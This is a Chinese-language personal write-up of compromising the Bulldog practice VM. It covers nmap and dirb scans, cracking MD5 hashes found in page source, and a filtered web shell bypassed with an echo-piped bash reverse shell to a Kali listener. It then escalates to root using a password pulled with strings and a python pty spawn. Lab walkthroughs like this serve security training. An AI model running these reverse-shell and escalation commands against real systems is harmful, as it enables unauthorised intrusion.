bulldog靶机复现

注:个人笔记,有点简陋,仅供参考。

准备:把kali和靶机设置为同一网段(NAT)

信息搜集

主机扫描

nmap -sP -T4 10.4.7.0/24

扫描出靶机IP为:10.4.7.134

扫描端口、服务

nmap -A -T4 -p- 10.4.7.134 -sV

发现扫描出了23、80、8080端口,开放了 ssh 和 http 服务

渗透测试

扫描目录

该靶机开放了80端口,使用IP地址在浏览器进行访问

然后扫描目录

dirb http://10.4.7.134/

得到以下目录:
http://10.4.7.134/admin/
http://10.4.7.134/dev/
http://10.4.7.134/dev/shell/

访问目录

  1. http://10.4.7.134/admin/ ,发现是一个登录框,我们目前并没有账密,可以登录其他网页寻找线索
  1. http://10.4.7.134/dev/
  1. http://10.4.7.134/dev/shell/

回到 http://10.4.7.134/dev/,F12或右键查看源代码,发现一一对应的可疑邮箱与疑似哈希密码串,猜测其为用户名及密码

尝试进行解密:

MD5在线解密

MD5在线解密

  • 依次尝试获取到的密码串,发现最后两个解密成功
用户名 密码
alan 破解失败
william 破解失败
malik 破解失败
kevin 破解失败
ashley 破解失败
nick bulldog
sarah bulldoglover

尝试进行登录,登录成功

用户名:sarah

密码:bulldoglover

在网页http://10.4.7.134/dev/shell/ 刷新后发现可以进行访问

命令注入与nc反弹shell

  • 由于部分命令被过滤,下面尝试绕过反弹shell

在kali中使用nc进行监听

在此输入 echo 'bash -i >& /dev/tcp/10.4.7.135/8888 0>&1' | bash 尝试反弹

  • 由于 echo 是可以使用的,这里利用 echo 构建一个反弹shell的命令,然后用管道符交给 bash 执行

然后run运行,运行后发现kali已经收到了反弹shell

  • 此时已成功进入系统,但权限还不是root,下一步进行提权操作

提权

  • 切换成 root 用户的前提是需要知道 root 用户的密码,所以我们这里的主要目标是在有限的权限里搜集到 root 的密码,完成提权
  1. 查看有哪些用户,输入 cat /etc/passwd 查看用户,发现 bulldogadmin 用户
  1. 进入该用户的家目录
  1. 输入 ls -la 查看隐藏文件,发现隐藏目录 .hiddenadmindirectory
  1. 输入 cd .hiddenadmindirectory 进入该目录,ls -la 查看隐藏文件,发现 customPermissionAppnote 两个文件
  1. 分别进行查看,并没有发现什么有用的信息

cat customPermissionApp 乱码

cat note ,

  1. 利用 strings 查看可执行文件中的内容,发现疑似密码
    • strings 命令用来提取和显示非文本文件中的文本字符串

标红位置中猜测可能是密码,应为 SUPERulitimatePASSWORDyouCANTget, 可以把他们连到一起正好是 SUPERultimatePASSWORDyouCANTget ,H是来混淆的,中间刚好有PASSWORD

  • 展开密码串为:SUPERultimatePASSWORDyouCANTget

尝试 su -i ,直接切换 root ,发现并不能执行

可以用Python调用本地的shell实现,命令如下:
python -c 'import pty; pty.spawn("/bin/bash")'

然后切换为 root ,需要加上 sudo 才能执行

shdo su -

提权成功

获取flag

相关推荐
John_ToDebug14 分钟前
判断力无法被 AI 替代,但它正在被你亲手扔掉
经验分享·笔记
柳鲲鹏2 小时前
运气学概论:提纲草案
笔记
疯狂打码的少年4 小时前
【计算机网络】子网掩码与子网划分计算(含CIDR表示法)
服务器·笔记·计算机网络·php
自小吃多6 小时前
PCB Editor软件复制、改变、删除操作笔记
笔记·嵌入式硬件
动词ing8 小时前
【学习笔记】数据结构栈与队列(栈先进后出+队列先进先出+括号匹配+消消乐模型)
数据结构·笔记·学习
彧azz8 小时前
Git 入门实操实例:从安装到远程仓库全流程
大数据·笔记·git·学习·elasticsearch
David猪大卫9 小时前
【C++修炼】哈希表的实现
数据结构·c++·笔记·学习·算法·哈希算法·散列表
江湖人称菠萝包10 小时前
【Windows】《深入浅出Windows API程序设计:核心编程篇》笔记-Chapter6-动态链接库
windows·笔记
宵时待雨10 小时前
linux笔记归纳18:传输层协议TCP
linux·网络·笔记·网络协议·tcp/ip
逆境不可逃10 小时前
Pi Agent 学习笔记:一次提问背后的工具调用循环
java·笔记·学习